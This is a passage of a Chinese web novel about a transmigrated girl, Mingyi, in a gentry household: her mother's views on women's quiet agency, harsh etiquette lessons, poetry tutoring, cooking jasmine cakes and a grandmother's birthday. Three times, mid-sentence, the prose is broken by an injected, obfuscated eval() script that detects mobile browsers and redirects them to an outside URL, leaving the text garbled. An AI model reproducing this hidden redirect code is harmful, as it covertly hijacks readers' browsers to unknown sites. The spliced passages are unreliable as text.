“是了,这世道让我们遵循三从四德,说什么男主外,女主内,但实际上,女子可以通过主掌中馈来达成自己许多目的。再说,那些酸儒总是嚷着‘内言不出闺阃’,但若是有心去街市上走一走,就会发现多的是书商争先出版和贩卖闺阁出来的诗文。还有你们先生,她以女子之身在外授课,不知遭多少人非议,她以诗自辩,将自己的游历与社交解释为''鬻字养家'',而非对礼教的背离,现下天南海北去了不少地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15349214|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在文人圈子里也颇负盛名。” “类似的东西还有很多,娘亲希望你明白,不要被那些条条框框束缚住,通过一些智慧,我们一样可以做成很多事情。这也是我让你去学那些东西的原因,除了需要在众人面前装点门面,最重要的还是只有知己知彼,方能百战不殆。” 明夷若有所思的点点头,又问道:“可是娘亲,既然那些规矩那么压得人那么痛苦,我们为什么不能一股脑掀了它们去?” 顾夫人看着天真的女儿,叹道:“这又谈何容易?女子力量弱小,这些东西却像大山一样压得死死的,执意去反,只怕没有好结果。并且——”顾夫人眼里闪过一丝狡黠 ‘潜龙慎勿用’,若我们能够利用规则达成自己的部分目的,让自己过得舒服些,再去反,岂不是得不偿失?再说,谁知道推翻后又会建立什么呢?万一更糟可怎么办?''大道废,有大伪'',若不能斩草除根,数轮对抗恐怕只怕会迎来更加疯狂的反扑,介时我们就连现在这点权力也会失去。历代兴亡,治乱兴衰,总是在重蹈覆辙,我们只有短短一辈子,实在赌不起。” “可是若一直闷不吭声,岂不是让人更得寸进尺?女子处境不会愈来愈艰难?”明夷有些着急道。 “明儿啊,有些东西并不是一定要被听到、被看到才算是真实存在的。就像我现在教你的,只有我们二人知晓,但我知道,你以后也会告诉你女儿,就像当年我的母亲教会我一样。你们的沈先生能教你们,她也能教别人,这世上能出一个沈琼,后面也会出现第二个第三个,第无数个沈琼。保持谦逊,才能不被干涉,我们不是不争,只是向着风吹的方向倒,然后乘风而起。” 明夷只觉得有些震撼,之前的一些认识好像在轰然倒塌,“那…那若后世真的变成了一个平等的世界,女子也可以如男子般自由出入街道,肆意笑骂,考取功名,去任何想去的地方,做任何想做的事情,你们不怕他们回看历史,哀叹我们不争不抢,逆来顺受吗?” 顾夫人长叹一口气,“若真有那一天,我想也是如我们这般的人一步步走出来的。再大的火焰,最初也只是一颗小小的火种,它可能会在很长一段时间都处于微弱状态,甚至会几近熄灭,但只要火种还在,终有一天会成燎原之势。到那时,这些看法又有什么好惋惜的?我们早已化作烟尘,消散在这世间的某个角落。” 明夷觉得自己有些眼热,一摸原来是有泪水滚落,她觉得自己的心脏在疯狂跳动,好像有些东西正在被重塑,又好像有些东西在难耐的破土而出。 她想喝口茶,却发现那芙蓉白玉杯在止不住的抖动,一看,原来是自己的手在颤。她现在急切地想说些什么,却不知如何安抚自己沸腾的大脑,组织紊乱的语言系统,只能兀自大口喘气。 顾夫人温柔的看着自己的女儿,恍惚间又想到了当时的自己。人非草木,孰能无情?被阃于内宅并非她们的命,向往外面的广阔天地也不是她们的罪,拥有七情六欲更不是她们的祸,她们只是没有生在一个好时候罢了。 18. 李嬷嬷教规矩 午后,小姐们小憩后又回到了花厅,袁老太太请来的李嬷嬷已经等候多时。 早上的湘妃竹帘被完全卷了上去,换了一幅花鸟描金的紫檀屏风,将外头的日光挡去了大半。 李嬷嬷五十岁上下,眼神精明,不苟言笑,其教导效果在江南这一带的太太圈里颇负盛名,明夷偷笑,懂,金牌教师,教培赢家。 四盏定窑白瓷碟早已整整齐齐地摆在红木书案上,紧挨着的螺钿漆盘只有茶托大小,里头盛着几颗青梅。 明夷才一进门就有些疑惑,这是要教餐桌礼仪?拿梅子教? 另一边王令妤早已端端正正地跪坐在左侧蒲团首位,背脊绷直似一条直线,月白云纹马面裙整整齐齐得垂落在杉木地板上。 “今日习《女子馈食礼》。”嬷嬷戒尺轻点漆盘里的盐渍青梅,“《女子馈食礼》首重‘献果仪’,大姑娘,请取三枚置于碟中。” 王令妤轻轻颔首,左手抵住袖口,右手执起银箸,依次将三枚青梅呈品字形置于碟中,然后双手捧碟,齐眉高举,手背与额头恰好隔着一枚翡翠镯的厚度。 李嬷嬷锐利的眼神在少女身上上下扫视,戒尺在她肘下轻点,问道:“大姑娘可知为何需齐眉?” 王令妤颈侧渗出细汗,认真道:“效法举案齐眉,喻夫妇……” 戒尺突然压住她手腕:“错!未嫁女当以父为天,眉高三寸方显孝道!” 少女低声称是,手腕微微抬高,然后保持不动。李嬷嬷满意的点点头,道:“大姑娘是王府的大小姐,需给妹妹们做出表率,日后嫁与夫家,你的名声也与整个王府的女眷息息相关,莫怪我这老婆子吹毛求疵。” 王令妤嘴角微微勾起,仍是恭敬道:“令妤明白,今后还得多多麻烦嬷嬷教导。” 明夷在后边看得眼珠子都要掉出来了,她实在不明白学这玩意有何必要?而且大姐姐的每个动作都是那么流畅优雅,捧着碟子的动作规整的像是用量角器测出来似的,就这还要挑剔,那等轮到她岂不是要被骂死? 还没等女孩被学霸遭批,学渣伤害加倍的阴影笼罩,忽然听到旁边传来窸窸窣窣,像是衣料摩擦地板的声音,偷偷斜眼看去,原来是王贞妤小姑娘在悄悄扭动,许是腿跪累了。 明夷稍微放心了些,有道是乌蒙山连着山外山,月光洒啊不,有人垫底心不慌,说倒二多难听啊,她好歹也是前三。 李嬷嬷又拿着戒尺来到王堇妤案前,明夷瞧着她的背影有些慌乱,想起请安那日——礼仪这块,这姑娘显然是不擅长。 果不其然,啪!一声,嬷嬷的戒尺击在二姑娘的腕骨,一颗青梅咕噜噜从膝前滚到了地上。 “二姑娘怎似没学过一般?”李嬷嬷皱着眉头,神情很是不满。 王堇妤双臂泄了力般一把将碟子放在案上,揉了揉自己发红的手腕,不快道:“学生愚钝,但嬷嬷您也过于严苛了!大姊姊做的如此只好都能被你挑出过错,何况我?嬷嬷活该宽容些,戒尺怎么能教好学生!” 李嬷嬷眯起眼睛,未置一词,只是低头将滚落的青梅拾起,置于碟中,让王堇妤高高捧着,便朝后走去。 火爆的王二小姐气得想推桌站起,可惜被大姐严厉的目光一扫,手上动作一顿,还是满脸委屈的将那碟子举了起来。 明夷和贞妤见识了刚刚的阵仗,再看看嬷嬷一脸的风平浪静,只觉是风雨欲来。 两个小姑娘规规矩矩的按要求做着手上的动作,果不其然也一人挨了一戒尺,好在也算是将这玩意儿学过了。 李嬷嬷走回案前,抬手示意王堇妤将碟子放下,闪着精光的眼神扫过底下每一个人,严肃道:“《女论语》有云:‘整洁酒食,以待宾客。’此乃基本礼仪,同时也是常用之礼,无论是出门赴宴,还是侍奉公婆夫婿,从这微小举动便能看出家门教养,希望各位姑娘们引以为重,回去能多多练习。” 姑娘们齐齐低头称是,李嬷嬷看着底下四个黑漆漆的脑袋,满意颔首。 门外侍奉的丫鬟进来添茶,小姐们得空休息片刻。令妤堇妤两姊妹凑在一块说着小话,贞妤小仓鼠般吃着丫鬟偷偷带进来的糖糕,明夷揉着自己酸痛的手肘,盯着四姑娘裙子上的糕屑,想着等会要不要提醒一下她。 春阳将青砖晒得泛白,李嬷嬷让人在廊间撒下混着沉香的香灰。四只青花瓷碗压在女孩们鸦青的鬓间,王令妤立在首位,发间的白玉步摇缀着米珠流苏,随呼吸微微起伏,如静湖泛起的小小涟漪。 “行步思量,裙不动尘。”嬷嬷的乌木戒尺点在王贞妤的膝窝,“四姑娘这腿弯得能塞进核桃了。” 明夷看着斜侧头顶瓷盘歪成斜塔的贞妤小姑娘,一脸爱莫能助。 女孩顶着瓷盘,整个人肃立在廊下,脑袋里忽然涌上之前军训的记忆,心里莫名荒唐,谁能想到,都到这了还有“军姿”要站。 贞妤小姑娘到底年纪小,只一会就站不住了,茜色的裙摆扫过香灰,拖出蝌蚪状的痕迹,王堇妤见状发出噗嗤的笑声,玛瑙耳珰随动作乱晃,惊得瓷碗里的茶水泼出碗边。 李嬷嬷的戒尺如蛇信般窜出,却见旁边的王明夷突然伸手抢先将二小姐的瓷碗扶正,女孩的拇指紧扣着碗底凹槽,自己的瓷碗也在头上稳稳立着,顿时两人都松了一大口气。 “二姑娘既爱笑,今日这莲步便从你开始练。” 嬷嬷在灰上画出铜钱大小的圈,“踏灰无痕方为贵,脚印深过铜钱便加半时辰。” 王堇妤昂首迈步,绣鞋却故意深踩,香灰漫过鞋底,在月白缎面鞋头印出些许灰痕。 “啪!”这是戒尺的声音。 “啪!”这是瓷器落地的声音。 戒尺抽在脚背,王堇妤踉跄间被自家大姐扶住。王令妤鬓间的珠串秋千似的摇晃,两人头上的瓷盘具是碎了一地。 少女倒是神色如常,站在碎片里头脚都没挪一下,只是朝着李嬷嬷福了福,温声细气道:“嬷嬷息怒,二妹妹性子顽劣,我定会向母亲禀报一同好好管教。她现已知错,后面定会好好学习,还请嬷嬷原宥。” 边说着又偷偷扯了一下妹妹的袖子,王堇妤将头歪向一边满脸不忿,手上将袖口揪得乱七八糟。 有道是胳膊拧不过大腿,在大姊的逼视下,不服气的王二姑娘还是规规矩矩的行了个礼,认真的向李嬷嬷道了歉。 廊下的香灰被水打湿已不可再用,李嬷嬷又让人在另一边重新布置下去,姑娘们一个接一个的顶着瓷碗在游廊下走着莲步,远远看去,袅袅婷婷,倒的确是赏心悦目。 李嬷嬷站在一边轮流巡视,待到明夷,女孩盯着香灰里零落足迹,忽然想起之前在网上看的T台猫步,她试探性将重心前移,足跟虚点地面,灰痕果然浅淡如蜻蜓点水。李嬷嬷在她身侧停留许久,最终将戒尺点在明夷脚边,颔首道:“尚可。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356978|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姑娘们就这么战战兢兢,全神贯注地走了好几个来回,好不容易挨到下课,除了大姑娘王令妤,剩下的一个个都树袋熊似的挂在丫鬟身上。 尤其是那四姑娘王贞妤,吊着自家丫鬟的胳膊,哼哼唧唧地嚷着要爹爹来背她回去。 明夷搀着麦冬的胳膊,感觉自己大半个身子的重量都压到人家身上,心里有些歉意,可是,她觉得自己现在的状态不亚于刚跑了个八百,实在是提不起力气。 一瘸一拐的回了屋,让麦冬和下人吩咐一声,告诉母亲自己今晚不去不系园吃饭了,撑着最后一丝力气洗了手,脱了外衣,才一头扎进水绿烟缎五色被里,又抱着自己的七宝枕头翻了个身仰躺着,才感觉自己活过来了。 天,怎么会这么累,这些世家贵女过得都是什么苦日子啊,要是她以后一举一动都要按照教的那样,那日子简直没法过了!所以——明夷又想到娘亲今天中午说的那番话,还有今日上课的种种,女孩往被子上缩了缩,现在刚好有机会好好理理。 房里的珊瑚圆桌上已摆好了几碟小菜,鸭子肉粥熬的浓浓的,香气扑鼻;顾夫人专门嘱咐煲的黄芪红枣鸡汤冒着腾腾的热气;紫砂小盅里的羊肚菌肉饼放了胡椒粉,蒸得入味;加了香榧子的东坡豆腐黄澄澄的叠放在白瓷海棠盘内,上头还洒几撮碧绿的葱花。 明夷抱着枕头从床上坐起,在思考和吃饭中犹豫了两秒,决定边吃边想。 舀了一大勺肉粥,配着肉饼,明夷鼓囊着腮帮子,慢慢咀嚼。可以肯定的是,她有些震撼,母亲说的那些几乎颠覆了她过往对此的认知。在以往的经验下,尤其是五四史观之下,传统妇女是封建社会的受害者,她们饱受压迫,亟需被拯救、待改造。但自从她来到这里,所见所闻,好像又有些差别。 她们的确受到了许多压迫和束缚,但她们并不是毫无自主性,在儒家体系的范围内,她们依旧能通过自己的智慧拥有富有意义的生存方式,实现自我满足。 在日常生活中,她们大都在名义上遵循着各种管束,虽然无法跳出和改写框定她们生活的这些规则,但她们依旧极有创造地开辟了一个生存空间,这是给予她们意义、安慰和尊严的空间。 所谓男女有别,男外女内,通常反映的不过是父权制的愿望而已,而不是真的社会现实。人的智慧总比规则要高明些,她们在规则的缝隙中建造起了一个浮世,而在这样一个浮世中,最重要的故事是个人每天的生活。 想到这,明夷夹碎了碗里的豆腐。无论是在那个世界,还是现在,她每天只是按部就班的活着,却从未有过自己真正想干的事情。 比起那个已经远去的世界,现在的她更加需要一个锚点,让她少些胡思乱想,多点往下走的力气,而现在,她似乎有些头绪了…… 她可以观察她们的生活点滴,她可以记录她们的喜怒哀乐,甚至,她还可以为这颗火种添一把柴,就像…就像沈琼沈先生一样!她可以做一位记录者、书写者,成为一位教育者、播种者…… 茫茫无际的旷野之上似乎分出了一条杂草丛生的岔路,虽然前路未卜,或许障碍重重,她站在路口四处张望,提着裙边小心翼翼地拐进这条幽深小径。 很多事情最难的其实是开始,然后是坚持。但当你真正置身其中时,你就会发现,进一寸有一寸的欢喜。当四周都归于黑暗,你会看见,夜幕中的每一颗星,都将为你指引方向。 19. 明夷补习记 逝者如斯,从暮春钻出的潮气逐渐洇湿了白墙,谷雨的惊雷也随之发出了几声清脆的轰鸣。三月初时,女眷们还裹着各色披风捂着汤婆子,马面裙下露着掐牙棉裙的边,一转眼,廊下晾的绸缎袄子就换成了新裁的薄罗衫。 大地回暖,冰雪消融,桃花水漫过石阶那日,厨娘们撤了暖锅换上冰鉴,案头供的白玉兰也早早换成了重瓣芍药。 姑娘们就这么上了小一个月的学,沈先生教的杂,诗书要学,画也得作,古琴也要会弹,甚至还弄来几个算盘教她们几个算账。 明夷书画尚可,古琴也上手的快,拨算盘她更是擅长——上辈子学的珠心算可算是有了用武之地。 唯独那作诗,喜欢读不等于会写,好不容易搞明白各种韵脚,但作为一位自高中毕业,除了论文再没写过别的东西,想象力早已被几年“裁缝”生涯消磨的干干净净的大学生,让她白描还行,各种意象真的死活也想不出来。 你说桃花开,人家说桃花笑,你看雨后池塘绿意盎然,人家写“绿池芳草满晴波。” 欲哭无泪,真是人比人,气死人。 沈先生惋惜,挺聪明一姑娘,怎的写诗就那么白呢? 王明夷叹气,肚里没货,脑袋没墨,还能咋地? 消息传到不系园,夫妇俩在当地颇有才名,皆是写诗的一把好手。王同光著作等身自是不用说,顾静翕的诗文集《第一香》在江南闺阁之中颇有影响,也是书商们竞相出版的热门。 瞧见女儿作业上的“海棠花开似罗裙”,夫妇二人相对无言,俱是扼腕叹息,为避免家承断绝,两手一拍,决定亲自上阵。 可怜明夷白日上课,晚上还要去父母那里“开小灶”。不过半月余,女孩的进步只能按寸记,父母的憔悴却是有丈远。 意识到再教下去不过是互相折磨,甚至还有点伤害亲子感情。夫妇俩苦中作乐,凡事得往好处想,许是女儿还没开窍,没准她写诗走得是情感流,总之,补习结束,不系园内又是和和美美一家人。 要说上午沈先生的课是“文”,那下午李嬷嬷的课就是“武”了。一举一动,穿衣吃饭皆有门路可言,都要标准要循。 每每下课,不是手腕疼,就是脖子酸,不是手肘累,就是腿脚麻。明夷实在不明白,到底是那些个变态发明的折磨人玩意儿?那些个吃饱撑的能从这些边边角角里扣出名堂来? 当然,也不是次次都上演这劳什子“全武行”,李嬷嬷也会教管家,每每这时,姑娘们最是全神贯注,也不是有多好学,只是李嬷嬷讲管家之术,总是伴随着大量的事例。 什么商铺风云之清算阴阳账本,真假难辨之谁在阳奉阴违,巧赴鸿门之如何化险为夷,后宅斗争之看我稳坐钓鱼台。总之,管你是剧情流还是情感流,管你喜欢的是爽文还是虐文,李嬷嬷故事会,应有尽有。 姑娘们和二位老师齐心协力辛苦二十多天,眼瞅着袁老太太寿宴将至,于是家长们大手一挥,师生们得了七日的假期。 放假的姑娘们各个跟被放生的雀儿似的,兴高采烈的计划自己难得的假期。明夷在放假前一晚信誓旦旦的说自己要睡到日上三竿,并嘱咐麦冬千万不要喊她,也不用准备早膳,结果第二天一早,外面天蒙蒙亮,女孩直勾勾地盯着头顶的藕合色花帐——睡不着了。 眼睛睁了又闭,在榻上来回翻了好几个滚,明夷呈大字型躺在湖蓝底绣五蝠捧云团花锦褥上,为自己的不争气感到痛心,无语地长叹一气,终是掀开湖蓝色叠丝薄衾,下床洗漱。 那么今天应该干什么呢?明夷苦思冥想,发现自己贫瘠的脑袋瓜竟然连玩什么都不知道,这熟悉的感觉,怎……怎么和自己刚考完研那几天一模一样? 麦冬看见自家小姐皱着眉头一脸苦相,疑惑的提醒道:“小姐,那个漱口的水…您还要含到什么时候?” 明夷大窘,赶紧将口中茶水吐到了渣斗里。既然也不知道干嘛,女孩将目光转向房里的黄花梨螭纹联二门衣柜——那就先挑套漂亮衣裳穿穿先。 主仆俩开开心心玩了一个时辰的奇迹小明,最后站在铜镜前的小姑娘,从头到脚,小巧的双螺髻上插着珊瑚米珠小梳,耳边晃着碧玺雕的樱桃耳坠,颈间挂着赤金嵌珐琅长命锁。上衫穿的是樱草色暗菱纹罗衫,外罩鹅黄素绒比甲,下着浅丁香绣球花纹综裙,裙腰系着妃色丝绦,结子处还缀着琉璃小葫芦。最后脚踩粉紫缎面绣鞋,鞋头缀着绒球,走起路来如踏着两朵合欢花。 明夷对着镜子左看右看,末了又转好几个圈,麦冬看着自己的劳动成果,开心夸赞道:“小姐这一身简直就是花神的小女儿转世!” 明夷也满意的点点头,这身装扮色彩相宜,俏丽精致,自己的眼光真不赖。不过今日打扮得那么漂亮,总该多几个观众,想到这,女孩转身对着麦冬小手一挥,发号施令道:“走!咱们到不系园蹭饭去!” 一路行至不系园,刚一进门,就看见顾夫人拿着把小剪子在一从灌木旁蹲着,冬青捧着青玉钵跟在一旁。见女儿来了,妇人挑挑眉,“不是说今早要睡懒觉吗?” 明夷摆摆手,一本正经道:“书上说了,一日之计在于晨,怎能在床上度过,女儿特意过来请安,不知娘亲和爹爹用过早膳没?” 顾夫人噗嗤一笑,扶着冬青站了起来:“你这油嘴滑舌的小丫头,把睡不着和蹭饭说得那么冠冕堂皇。” 母女俩人对视一眼,看着对方的装束俱是眼睛一亮。 要不说怎么是母女呢,顾夫人今日也是打扮了一番。端庄的狄髻中插着点翠竹叶纹挑心,两鬓带着珍珠排簪,耳边坠的是翡翠竹节耳珰。身上穿的是水绿纱地绣白玉兰直身衫,外罩雪灰绫子比甲,裙子是月白暗卍字纹绫裙,裙门刺着墨色兰草,随风掀起时露一点丁香紫的衬裙和脚上的藕荷色软底绣鞋。 明夷大赞:“娘亲今日穿的跟一株兰花草似的,真真是‘幽兰生前庭,含薰待清风。’” 顾夫人大笑,亲昵地点了点女儿光滑的额头,“这是谁家的小蝴蝶飞来了?快给娘亲转个圈看看。” 女孩立马牵着裙子转了几圈,然后一头扎进母亲怀里。母女俩清脆的笑声将王同光也引出了门,随意披了见月白色云纹直裰的王二郎懒懒地靠在门框上,看着穿着精致的妻女俩抱成一团嬉闹。 母女俩相携着进门,明夷瞧见冬青手上的青玉钵,吸了吸鼻子,疑惑道:“这里面装的是什么,怎的有股茉莉香?” 冬青笑道:“是夫人刚刚摘的茉莉花。” “娘亲要茉莉做甚?” 顾夫人接过青玉钵,答道:“看着院子里茉莉开了,想做道菜。” “菜?什么菜?甜的咸的?”明夷双眼放光 顾夫人一边吩咐下人将茉莉淘洗干净后拿牛乳泡着,一边看向丈夫,嗔笑道:“你瞧瞧你女儿,一天天这馋劲大的,也不知道像谁。” 王二郎扶着夫人的胳膊,将其引到桌边坐下,给人揉着肩,一脸温柔道:“自是像我,不过也得怪夫人厨艺了得,勾了我一个馋虫不说,还带了只小的。” 顾夫人笑着轻捶了丈夫一拳,旁边完全被忽视的明夷看着牙酸,故意咳嗽两下提醒这对夫妻别忘了旁边还有个人。 王二郎抬头瞅了一眼女儿,忽然道:“明儿今日这身很漂亮啊,是谁给你挑的?” 明夷自豪道:“我和麦冬一起挑的!” 王二郎“哦——”了一声,又问:“那明儿知道你娘亲这身是谁给挑的吗?” 顾夫人有些娇羞的别过脸,明夷看着父亲一脸嘚瑟样,口中答案呼之欲出,突然就不想回答了。 王二郎也不等闺女,有些迫不及待的宣布道:“自是我挑的,我是最知何物最称你娘亲的了。” 顾夫人又是轻拍了下丈夫的胳膊,低声让他别在孩子面前乱说,王二郎抓住妻子的手,两人含情脉脉的对视,一旁的明夷视若无睹,只是找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367649|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冬青要水喝。 顾夫人好奇道:“我方才才看你喝了一杯,是吃什么了就这般渴?” 女孩左手扶额做无奈状,拖着调子道:“女儿不是渴,是牙酸——” 霎时,大大小小的笑声充满屋内,夫妇俩直呼嗳唷,下人们也掩着嘴偷笑,明夷故作深沉的摇摇头,问道:“咱们何时用早膳?” 此话一出,屋内笑声更甚,明夷纳闷,这有什么好笑的嘛。 等用完早膳,顾夫人问女儿要不要和她一起去灶间,明夷想到那碗泡了牛乳的茉莉花,兴奋的点点头。 顾夫人说她要做的这道点心叫茉莉香糕,是她自创的,让明夷好生学着。 灶间干净的台子上早已摆好几个大大小小的碗碟,柴火也已经烧得旺旺的,准备工作做得相当充分。 顾夫人给自己和女儿係上襻膊(明夷补充,她特意选了条妃色的),洗净了手用帕子擦干,带着明夷来到台前。 只见顾夫人先将提前蒸熟的去皮绿豆倒进一个青瓷大碗里,然后依次拿起一个装着透黄色蜜酱的小碟和一个装着绿色粉末的小碟,将里面的东西倒进去,对着女儿解释道:“这是我去岁做的茉莉花蜜和昨晚新磨的茉莉花粉。” 顾夫人腕间翡翠镯子叮当轻响,将碗里的东西细细拌匀,然后按压成泥。 “明儿帮母亲把碗端到那边去。”顾夫人指了指灶台,将手里的青瓷大碗递给了明夷。 自己也站到了灶前,拿起油壶往锅中倒入些许玉米油,将这茉莉绿豆泥炒干,然后放一边晾凉。 “娘亲现在要去做饼皮,得拜托明儿将这些馅搓成一个个小圆球,大概这么大。”顾夫人有拇指和食指比了个圈。明夷点头表示收到,端着青瓷大碗去到另一边,从底下摸了个冰裂纹的海棠盘出来,开始搓圆球。 顾夫人吩咐完女儿后,又换了个锅倒入糯米粉和粘米粉各好许,让人将灶火弄小了些,将这米粉炒熟,装瓷碗里备用。 明夷边搓边留心娘亲那边的动作,毕竟她可是在学习,不得不说,做饭可是太好玩了,上辈子她最喜欢的纪录片就是《舌尖上的中国》,平常也非常喜欢自己动手做各种菜式点心,在亲友间也得了个“小厨神”的美称。想到这,搓着圆球的女孩停下了手中的动作,好像…似乎…做个厨娘也不错? 明夷瞧见母亲又往锅里倒了些东西进去,连忙问道:“母亲这倒的是什么东西?” “玉米油和水饴。” “什么是水饴?”明夷疑惑道。 “水饴,用淀粉做的,一种类似麦芽糖的东西。”顾夫人手里动作不停,将锅里的黄色液体搅拌融化。 看着锅里的液体融的差不多,又将方才炒熟的米粉重新倒回,加入早上泡好的茉莉牛乳,用木铲子反复翻炒 “要炒到不沾手为止。”顾夫人对旁边的女儿叮嘱道。 饼皮炒好之后,顾夫人又取出一小半加入茉莉花茶粉,将饼皮调成绿色,然后再与白色的饼皮揉到一起。让明夷将分好的馅端过来,母女俩并排站着,将放凉的馅料包进去。 接着,顾夫人又抱来一大堆饼模,问明夷喜欢哪个,女孩挑挑拣拣最后拿了个五瓣梅,两人又往模子上撒了些熟米粉,将手里的面团按进去塑形,最后再在花蕊处点一勺茉莉花蜜,小心摆在青玉菊瓣式圆口盘里,明夷发出“哇”的声音,好恨自己现在没有手机,没法将这跟半山水翡翠似的茉莉香糕拍下来。 不等端回屋子,明夷迫不及待的拿起一块香糕咬了一口,淡雅的茉莉花香在唇舌间萦绕,口感细腻绵密,甜度淡淡,也不噎人,味道十分清新。 一连吃了三个,明夷眼巴巴地看着母亲:“娘亲下次还有这种事情一定要叫我,明儿好喜欢和娘亲一块做饭!” 顾夫人也拈了一块花糕细细抿着,眯着眼睛看来也非常满意这次的新品,看见女儿对下厨一事大感兴趣的样子,立刻开心地约定了下回要做的点心。 20. 祖母寿宴 接下来几日,母女俩又做了槐花奶冻、梅花汤饼、樱桃毕罗……母女二人做得开心,王同光连着吃了几日,终在某日连吃两碗汤饼并三块玉兰花酥后摸着撑圆了的肚子委婉提醒到:“后天就是母亲的寿辰,不知二位的寿礼准备得如何啊?” 明夷的汤勺“咣当”一声掉进碗里,惊讶道:“…啊?要…要准备礼物的吗?” 王同光挑了挑眉,一副“你不知道吗?”的模样,顾夫人“啊”了一声,懊恼道:“我忘记和明儿说了!” “那你准备了吗?没有的话我哪里——” 顾夫人连忙打断道:“自是准备好了的。” 王二郎见夫人已有准备,放下心来,披上外衣准备去家塾上课,顺便丢给自家闺女一个自求多福的眼神。 望着父亲事不关己的背影,明夷哭丧着脸看向母亲:“娘,这可怎么办啊,祖母后天就过生了…欸你准备的什么?” 顾夫人也是一脸懊悔,这么大的事怎么就忘了呢,听到女儿问自己的礼物,随口答道:“一幅双面绣。” 双面绣?欸她最近也学了刺绣,她是不是也可以……不可以,时间不够。 可是她记得母亲并不擅长女红,当时明夷有个基础针法没弄明白去请教她,结果母亲连绣棚都不会固定,怎么现在还整了个双面绣当寿礼? 想到这,女孩有些狐疑道:“娘亲自己绣的吗?” 顾夫人理直气壮,“自是我求你淑姨绣的!你娘亲哪会做这么精细的活。” 明夷瞬间发出爆笑,娘亲天天说她像个小赖皮,看看她现在这副无赖的样子,谁不说一声更胜一筹? 顾夫人看见女儿笑得惊天动地样子,也有点不好意思,期期艾艾道:“哎唷,你祖母一向不在乎我们二房送什么,每次都是看一眼就扔到库房里头。而且你淑姨刺绣的手艺可是鼎鼎有名的,就这一幅双面绣我可是求了她好久呢……” 说到这,顾夫人像是想起了什么,起身走向里屋,从楠木条案里翻出几张薄笺出来,边看着边将其中一张递给明夷:“喏,你淑姨刚寄来的信,这张是孚哥儿写给你的。” 明夷接过薄笺,有些惊讶:“竟然还有我的?” 顾夫人点点头:“你淑姨说孚哥儿可想你了,平常不爱说话的人问了你好几回,快看看给你写了些什么,娘亲可没有偷看哦。” 女孩有些惭愧的抓了抓耳朵,她这回回来之后不是上课就是做饭,小日子过得都快忘了有这号人了。想到小中孚每日干巴巴的读书,没有玩伴,心心念念的想着她,闷葫芦似的性子竟然还去问了淑姨好几次,只觉内心羞愧难当,发誓一定要回他一封情真意切、感天动地的信! 张开信笺,映入眼帘的字体遒美健秀、干净利落。 “明夷阿姊,展信舒颜” 顾夫人笑道,孚哥儿像个小大人似的。 明夷仔细将信读完,内容并不多,大概就是许久未见,问候她各方面可还安好,分享了他最近读的书,告诉她淑姨府上又做了什么新菜,最近天气逐渐炎热,千万保重身体…… 男孩絮絮叨叨的分享着自己近日的生活,又小心翼翼的问候她的,明明很想念,却又不敢明说。 明夷突然想起之前做的书信志愿,那些等待回信的小孩期待的面孔……她似乎都能想象男孩一个人在灯下认认真真的写着信,可能还打了草稿,誊抄了好几遍…… 可能是害怕被嫌弃,也可能是性子别扭,不好意思写太长,也不敢明晃晃表达自己的思念,女孩觉得自己的心和四月的薄冰一样,化成了泛滥的桃花水。 明夷将信叠吧叠吧塞进袖笼,蹬蹬蹬地就要跑回去回信。顾夫人手快抓住女儿的胳膊,问道:“明儿是不是忘了什么?” “?”明夷一脸疑惑,内心只想赶回去给人回信。 顾夫人看着女儿满脸着急样,提醒道:“你祖母的寿礼。” 明夷“啊”的一声,差点忘了这茬!不过事实证明,ddl之下人的潜力无限,女孩大脑飞速运转,有了!“娘亲,您觉得我为祖母写幅字如何?” 顾夫人点点头,“明儿字好,也显心意,是个不错的主意。” 明夷回到宜秋院后,先拿了几张平常作业的宣纸打了下草稿,又翻出自己珍藏的纸笺,从中挑了张云蓝笺出来。 浅蓝色染液在纸面上流动,形成深浅不同的蓝色云纹,女孩提笔,认真誊抄。 开头便是一句:阿孚,久违芝宇,时切葭思。 正文也如男孩般唠叨自己最近的生活,分享上学的趣事与学会的菜肴,并大大自夸一番,信誓旦旦的说下次见面一定要让他尝尝自己的手艺。 又让他不要天天闷屋子里看书,出去耍一下,大街小巷都走走,小孩子别一天天闷坏了,最后再强调一下自己也很想念他。 明夷满意的欣赏了会儿自己真情流露之作,整齐的叠在信封里,颇具责任心的想,这定能让中孚小朋友感受到人间真情,人间真爱! 接着明夷又重新铺了张羊脑笺,蘸了泥金,笔走游龙,一气呵成,祖母的寿礼就这么顺顺当当的解决了。 